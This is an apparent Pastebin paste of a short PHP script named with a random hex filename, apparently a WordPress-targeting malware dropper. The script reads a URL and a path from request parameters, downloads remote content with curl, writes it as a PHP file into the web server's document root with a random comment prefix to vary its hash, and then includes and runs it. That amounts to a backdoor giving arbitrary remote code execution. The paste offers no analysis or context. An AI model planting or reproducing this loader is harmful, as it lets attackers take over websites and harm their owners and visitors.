BitofWP

5e8fac752d6311.php

May 9th, 2020
1,114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.85 KB | None | 0 0
  1. <?php  /*a2597a6a00953e238941319378dabf15a2597a6a00953e238941319378dabf15*/ ?><?php
  2. function file_func($path, $data){
  3.     file_put_contents($path, '<?php /*'.uniqid().'*/ ?>'.$data);
  4. }
  5. if(file_exists($_SERVER["DOCUMENT_ROOT"].'/'.$_GET['path'])){
  6.     chmod($_SERVER["DOCUMENT_ROOT"].'/'.$_GET['path'].'.php',0644);
  7.     include $_SERVER["DOCUMENT_ROOT"].'/'.$_GET['path'].'.php';
  8. }else{
  9.     $ch = curl_init();
  10.     curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  11.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12.     curl_setopt($ch,CURLOPT_TIMEOUT,60);
  13.     $data = curl_exec($ch);
  14.     if($data){
  15.         $dsdzzsvxz = $data.'';
  16.         file_func($_SERVER["DOCUMENT_ROOT"].'/'.$_GET['path'].'.php', $dsdzzsvxz);
  17.         chmod($_SERVER["DOCUMENT_ROOT"].'/'.$_GET['path'].'.php',0644);
  18.         include $_SERVER["DOCUMENT_ROOT"].'/'.$_GET['path'].'.php';
  19.     }
  20. }
Advertisement
Add Comment
Please, Sign In to add comment